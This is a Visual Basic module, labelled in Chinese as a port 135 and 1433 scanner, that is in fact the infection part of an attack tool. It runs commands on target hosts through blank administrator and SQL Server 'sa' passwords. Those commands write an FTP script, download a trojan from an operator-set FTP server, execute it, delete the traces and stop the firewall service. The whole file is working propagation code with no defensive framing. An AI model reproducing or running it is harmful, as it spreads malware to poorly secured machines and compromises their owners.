modsendma.bas

功能强大的135以及1433端口扫描器

Attribute VB_Name = "ModSendMa"
Option Explicit
Public V_TimerCount As Integer
Public FtpUserName As String
Public FtpPassWord As String
Public FtpIP As String
Public IPaddress As String
Public CockHorseName As String
Public Sub SendMa(IPadress As String)
Dim SendStr As String
SendStr = "cscript rpmd.vbe " & IPadress & " administrator """" " & _
                """cmd /c @echo open " & FtpIP & ">>net.txt&@echo " & FtpUserName & _
                ">>net.txt&@echo " & FtpPassWord & ">>net.txt&@echo get " & CockHorseName & _
                ">>net.txt&@echo bye>>net.txt&@ftp -s:net.txt&del net.txt&" & CockHorseName & _
                "&" & CockHorseName & "&" & CockHorseName & "&del " & CockHorseName & """"
Shell SendStr, vbNormalNoFocus
End Sub
'====================1433溢出过程=====================
Public Sub Send1433Ma(IPadress As String)
If Dir(App.Path & "\up.txt") = "" Then
    Open App.Path & "\up.txt" For Output As #1
        Print #1, "echo open " & FtpIP & ">1.txt"
        Print #1, "echo " & FtpUserName & ">>1.txt"
        Print #1, "echo " & FtpPassWord & ">>1.txt"
        Print #1, "net stop sharedacess"
        Print #1, "echo get " & CockHorseName & ">>1.txt"
        Print #1, "echo bye>>1.txt"
        Print #1, "ftp -s:1.txt"
        Print #1, CockHorseName
        Print #1, CockHorseName
        Print #1, "del 1.txt"
        
        'Print #1, CockHorseName
    Close #1
End If
'Dim SendStr As String
''SendStr = "sqlr " & IPadress & " sa """"<up.txt"
'SendStr = App.Path & "\sqlr.exe " & IPadress & " sa sa <up.txt"
'Shell SendStr, vbNormalNoFocus
Open App.Path & "\" & V_TimerCount & ".bat" For Output As #1
    'Print "sqlr " & IPadress & " sa """"<up.txt"
    Print #1, "sqlr.exe " & IPadress & " sa """"<up.txt"
Close #1
Shell App.Path & "\" & V_TimerCount & ".bat", vbNormalNoFocus
End Sub